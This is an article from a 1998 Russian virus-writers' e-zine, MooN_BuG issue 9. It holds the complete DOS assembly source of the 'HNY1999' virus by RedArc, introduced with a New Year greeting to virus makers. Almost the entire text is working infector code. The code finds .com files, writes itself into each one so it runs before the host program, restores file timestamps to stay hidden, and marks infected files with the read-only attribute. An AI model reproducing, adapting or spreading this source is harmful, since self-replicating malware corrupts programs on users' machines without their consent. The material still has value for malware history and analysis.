[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998 file 009
Вирус HNY1999
by RedArc
Поздравляю всех вирмейкеров и вирусологов с Новым 1999 годом!
Model Tiny
.286
.code
org 100h
start:
pusha
mov bp,ProgLength+100h
mov dx,bp
add dx,EndeLength + (2*VirLength)
mov di,dx
mov ah,1ah
int 21h
mov al,'*'
stosb
mov al,'.'
stosb
mov al,'c'
stosb
mov al,'O'
stosb
mov al,'m'
stosb
mov al,0
stosb
mov ah,4eh
mov cx,0feh
LBL1:
int 21h
jb LBL2
jmp LBL3
LBL2:
mov ah,1ah
mov dx,80h
int 21h
push bp
ret
LBL3:
mov ah,2fh
int 21h
xchg bx,di
mov dx,di
add dx,1eh
mov ax,4300h
int 21h
cmp cx,1
jne LBL5
LBL3_1:
mov ax,5701h
mov cx,word ptr ds:[di+16h]
mov dx,word ptr ds:[di+18h]
int 21h
mov ah,3eh
int 21h
mov ax,4301h
mov dx,di
add dx,1eh
mov cx,1
int 21h
LBL4:
mov ah,4fh
jmp LBL1
LBL5:
mov ax,3d02h
int 21h
xchg bx,ax
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
cmp ax,0ffffh-(3*VirLength)
jnb LBL3_1
cmp ax,(2*VirLength)
jb LBL3_1
inc ah
mov word ptr ds:[102h],ax
mov ah,40h
mov dx,EndeOfs+100h
mov cx,EndeLength
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,3fh
mov dx,bp
add dx,EndeLength + VirLength
mov cx,VirLength
int 21h
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
mov dx,bp
add dx,EndeLength + VirLength
mov cx,VirLength
int 21h
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
xor dx,dx
inc dh
mov cx,VirLength
int 21h
jmp LBL3_1
db 'С Новым 1999 годом!'
EndeLBL:
EndeOfs equ $-start
cld
mov si,bp
mov di,100h
add si,EndeLength
mov cx,VirLength
rep movsb
popa
push si
ret
EndeLength equ $-EndeLBL
VirLength equ $-start
db 100h dup (90h)
ret
ProgLength equ $-start
cld
mov si,bp
mov di,100h
add si,EndeLength
mov cx,VirLength
rep movsb
popa
push si
ret
db VirLength dup (90h)
end start